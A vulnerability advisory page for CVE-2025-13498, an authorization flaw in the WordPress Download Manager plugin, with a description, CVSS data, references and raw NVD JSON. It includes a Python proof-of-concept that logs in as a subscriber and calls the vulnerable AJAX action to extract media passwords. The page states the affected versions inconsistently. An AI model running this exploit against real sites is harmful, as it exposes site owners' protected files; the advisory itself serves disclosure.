Security Vulnerability Report
中文
CVE-2025-13498 CVSS 4.3 MEDIUM

CVE-2025-13498

Published: 2025-12-18 08:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Download Manager plugin for WordPress is vulnerable to unauthorized access of sensitive information in all versions up to, and including, 3.3.32. This is due to missing authorization and capability checks on the `wpdm_media_access` AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve passwords and access control settings for protected media attachments, which can then be used to bypass the intended media protection and download restricted files.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Download Manager < 3.3.32

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13498 PoC - WordPress Download Manager Unauthorized Access # Target: WordPress site with Download Manager plugin <= 3.3.32 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" # Step 1: Authenticate with subscriber-level account to get valid nonce # Then exploit the vulnerable wpdm_media_access AJAX action session = requests.Session() # Replace with valid subscriber credentials auth_data = { 'log': 'subscriber_username', 'pwd': 'subscriber_password', 'wp-submit': 'Log In', 'testcookie': '1' } # Login to get authenticated session login_url = f"{target_url}/wp-login.php" resp = session.post(login_url, data=auth_data) # Step 2: Exploit the vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'wpdm_media_access', 'media_id': '1', # Target media attachment ID 'op': 'access' # Operation to access protected media } response = session.post(ajax_url, data=exploit_data) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # If successful, response contains password/access key for protected media if response.status_code == 200 and 'password' in response.text.lower(): print("[!] Vulnerability confirmed! Sensitive information exposed.") print("[*] Use the exposed credentials to download protected files.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13498", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:49.337", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Download Manager plugin for WordPress is vulnerable to unauthorized access of sensitive information in all versions up to, and including, 3.3.32. This is due to missing authorization and capability checks on the `wpdm_media_access` AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve passwords and access control settings for protected media attachments, which can then be used to bypass the intended media protection and download restricted files."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/download-manager/tags/3.3.32/src/MediaLibrary/MediaAccessControl.php#L26", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-manager/tags/3.3.32/src/MediaLibrary/MediaAccessControl.php#L275", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-manager/tags/3.3.32/src/MediaLibrary/MediaAccessControl.php#L299", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3413804/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f2cdd50d-6290-4cef-a72c-2e9d680d4f1f?source=cve", "source": "[email protected]"}]}}